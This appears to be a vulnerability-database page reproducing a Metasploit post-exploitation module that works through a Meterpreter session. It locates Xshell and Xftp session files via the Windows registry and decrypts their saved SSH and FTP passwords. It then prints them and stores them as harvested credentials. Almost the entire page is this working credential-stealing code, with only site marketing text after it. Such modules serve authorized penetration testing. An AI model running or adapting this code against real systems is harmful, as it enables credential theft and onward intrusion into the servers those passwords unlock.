Lucene search
+L

Windows Gather Xshell and Xftp Passwords

🗓️ 27 May 2020 11:55:44Reported by Kali-Team <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 60 Views

Windows Gather Xshell and Xftp Passwords module to decrypt remembered password

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::UserProfiles
  include Msf::Post::File
  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::Accounts
  include Rex::Parser::NetSarang

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Xshell and Xftp Passwords',
        'Description' => %q{
          This module can decrypt the password of xshell and xftp,
          if the user chooses to remember the password.
        },
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://github.com/HyperSine/how-does-Xmanager-encrypt-password/blob/master/doc/how-does-Xmanager-encrypt-password.md']
        ],
        'Author' => [
          'Kali-Team <kali-team[at]qq.com>'
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_search
              stdapi_fs_separator
              stdapi_fs_stat
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )
    register_options(
      [
        OptString.new('MASTER_PASSWORD', [ false, 'If the user sets the master password, e.g.:123456']),
      ]
    )
  end

  def try_encode_file(data)
    # version 6.0 The character set of the session file will use Unicode
    # version <= 5.3 The character set of the session file will use ANSI
    if data[0].unpack('C') == [255] && data[1].unpack('C') == [254]
      data[2..].force_encoding('UTF-16LE').encode('UTF-8')
    elsif data[0].unpack('C') == [254] && data[1].unpack('C') == [187] && data[2].unpack('C') == [191]
      data
    elsif data[0].unpack('C') == [254] && data[1].unpack('C') == [255]
      data[2..].force_encoding('UTF-16BE').encode('UTF-8')
    else
      data
    end
  end

  def enable_master_passwd?(version_6_path)
    file_name = expand_path("#{version_6_path}\\Common\\MasterPassword.mpw")
    file_contents = read_file(file_name) if session.fs.file.exist?(file_name)
    if file_contents.nil? || file_contents.empty?
      return false
    end

    file = try_encode_file(file_contents)
    file.include?('EnblMasterPasswd=1')
  end

  def net_sarang_store_config(config)
    service_data = {
      address: config[:host],
      port: config[:port],
      service_name: config[:type],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :session,
      session_id: session_db_id,
      post_reference_name: refname,
      private_type: :password,
      private_data: config[:password],
      username: config[:username]
    }.merge(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def enum_session_file(path, user_profiles)
    xsh_xfp = []
    tbl = []
    print_status("Search session files on #{path}")
    xsh_xfp += session.fs.file.search(path, '*.xsh')
    xsh_xfp += session.fs.file.search(path, '*.xfp')

    # enum session file
    xsh_xfp.each do |item|
      file_name = item['path'] + session.fs.file.separator + item['name']
      file_contents = read_file(file_name)
      if file_contents.nil? || file_contents.empty?
        print_status "Skipping empty file: #{file_name}"
        next
      end

      file = try_encode_file(file_contents)
      session_type = (File.extname(file_name) == '.xsh') ? 'Xshell' : 'Xftp'

      # parser configure file
      if session_type == 'Xshell'
        version, host, port, username, password = parser_xsh(file)
      else
        version, host, port, username, password = parser_xfp(file)
      end

      # decrypt password
      if enable_master_passwd?(path)
        net_sarang = NetSarangCrypto.new(session_type, version, user_profiles['UserName'], user_profiles['SID'], datastore['MASTER_PASSWORD'])
      else
        net_sarang = NetSarangCrypto.new(session_type, version, user_profiles['UserName'], user_profiles['SID'])
      end
      plaintext = net_sarang.decrypt_string(password) if password
      print_error('Invalid MASTER_PASSWORD, Decryption failed!') if !plaintext && password
      tbl << {
        version: "#{session_type}_V" + version.to_s,
        file_name: item['name'],
        host: host,
        port: port,
        username: username,
        plaintext: plaintext,
        password: password
      }
    end
    return tbl
  end

  def run
    print_status("Gather Xshell and Xftp Passwords on #{sysinfo['Computer']}")
    profiles = grab_user_profiles
    result = []
    profiles.each do |user_profiles|
      next if user_profiles['SID'].nil?

      parent_key_6 = "HKEY_USERS\\#{user_profiles['SID']}\\Software\\NetSarang\\Common\\6\\UserData"
      parent_key_5 = "HKEY_USERS\\#{user_profiles['SID']}\\Software\\NetSarang\\Common\\5\\UserData"
      # get session file path
      net_sarang_path_6 = expand_path(registry_getvaldata(parent_key_6, 'UserDataPath'))
      net_sarang_path_5 = expand_path(registry_getvaldata(parent_key_5, 'UserDataPath'))

      # enum session file
      result += enum_session_file(net_sarang_path_5, user_profiles) if session.fs.file.exist?(net_sarang_path_5)
      result += enum_session_file(net_sarang_path_6, user_profiles) if session.fs.file.exist?(net_sarang_path_6)
    end
    columns = [
      'Type',
      'Name',
      'Host',
      'Port',
      'UserName',
      'Plaintext',
      'Password'
    ]
    tbl = Rex::Text::Table.new(
      'Header' => 'Xshell and Xftp Password',
      'Columns' => columns
    )
    result.each do |item|
      tbl << item.values
      config = {
        type: item[:version].starts_with?('Xshell') ? 'ssh' : 'ftp',
        host: item[:host],
        port: item[:port].to_i,
        username: item[:username],
        password: item[:plaintext]
      }
      net_sarang_store_config(config)
    end
    print_line(tbl.to_s)
    # Only save data to disk when there's something in the table
    if tbl.rows.count
      path = store_loot('host.xshell_xftp_password', 'text/plain', session, tbl, 'xshell_xftp_password.txt', 'Xshell Xftp Passwords')
      print_good("Passwords stored in: #{path}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation